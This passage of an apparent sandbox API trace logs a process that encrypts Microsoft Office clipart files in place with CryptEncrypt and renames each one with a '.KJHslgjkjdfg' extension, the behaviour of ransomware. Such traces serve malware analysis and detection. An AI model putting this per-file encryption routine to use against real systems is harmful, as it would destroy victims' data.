lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.376] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.376] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.377] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.377] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.377] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.377] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.377] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.377] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1d5e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1d5e, lpOverlapped=0x0) returned 1 [0218.378] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d60, dwBufLen=0x1d60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1d60) returned 1 [0218.378] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.378] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1d60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1d60, lpOverlapped=0x0) returned 1 [0218.379] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.379] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.379] SetEndOfFile (hFile=0x130) returned 1 [0218.381] GetProcessHeap () returned 0x990000 [0218.381] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.381] GetProcessHeap () returned 0x990000 [0218.381] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.381] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf.kjhslgjkjdfg")) returned 1 [0218.383] CloseHandle (hObject=0x130) returned 1 [0218.383] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x243c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00018_.WMF", cAlternateFileName="")) returned 1 [0218.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.385] GetProcessHeap () returned 0x990000 [0218.385] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.385] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.385] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.385] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.388] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.388] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.388] GetProcessHeap () returned 0x990000 [0218.388] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.388] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.388] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.388] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.388] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.388] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.388] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.388] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.388] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.388] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.388] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.388] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.389] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x243c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x243c, lpOverlapped=0x0) returned 1 [0218.390] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2440, dwBufLen=0x2440 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2440) returned 1 [0218.390] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.390] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2440, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2440, lpOverlapped=0x0) returned 1 [0218.390] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.390] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.390] SetEndOfFile (hFile=0x130) returned 1 [0218.393] GetProcessHeap () returned 0x990000 [0218.393] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.393] GetProcessHeap () returned 0x990000 [0218.393] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.393] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00018_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00018_.wmf.kjhslgjkjdfg")) returned 1 [0218.395] CloseHandle (hObject=0x130) returned 1 [0218.395] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x175a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00095_.WMF", cAlternateFileName="")) returned 1 [0218.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.397] GetProcessHeap () returned 0x990000 [0218.397] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.397] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.397] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.397] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0218.400] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.400] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.400] GetProcessHeap () returned 0x990000 [0218.400] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.400] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.401] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.401] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.401] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.401] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.401] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.401] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.401] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.401] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.401] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.401] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.401] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x175a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x175a, lpOverlapped=0x0) returned 1 [0218.402] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1760, dwBufLen=0x1760 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1760) returned 1 [0218.402] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.403] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1760, lpOverlapped=0x0) returned 1 [0218.403] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.403] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.403] SetEndOfFile (hFile=0x130) returned 1 [0218.406] GetProcessHeap () returned 0x990000 [0218.406] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.406] GetProcessHeap () returned 0x990000 [0218.406] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.406] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00095_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00095_.wmf.kjhslgjkjdfg")) returned 1 [0218.408] CloseHandle (hObject=0x130) returned 1 [0218.408] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53c9af00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x53c9af00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1c12, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00211_.WMF", cAlternateFileName="")) returned 1 [0218.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.410] GetProcessHeap () returned 0x990000 [0218.410] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.410] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.410] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.410] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0218.411] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.412] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.412] GetProcessHeap () returned 0x990000 [0218.412] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.412] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.412] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.412] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.412] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.412] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.412] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.412] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.412] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.412] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.412] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.412] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.413] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1c12, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1c12, lpOverlapped=0x0) returned 1 [0218.413] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c20, dwBufLen=0x1c20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1c20) returned 1 [0218.414] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.414] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1c20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1c20, lpOverlapped=0x0) returned 1 [0218.414] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.414] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1cf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.414] SetEndOfFile (hFile=0x130) returned 1 [0218.416] GetProcessHeap () returned 0x990000 [0218.416] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.416] GetProcessHeap () returned 0x990000 [0218.416] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.416] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf.kjhslgjkjdfg")) returned 1 [0218.418] CloseHandle (hObject=0x130) returned 1 [0218.418] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1b4a700, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd1b4a700, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0x1224, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00217_.WMF", cAlternateFileName="")) returned 1 [0218.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00217_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00217_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.419] GetProcessHeap () returned 0x990000 [0218.419] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.419] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.419] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.419] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0218.422] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.422] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.422] GetProcessHeap () returned 0x990000 [0218.422] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.422] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.422] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.422] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.422] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.422] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.422] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.422] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.422] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.423] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.423] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.423] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.423] ReadFile (in: hFile=0x130, 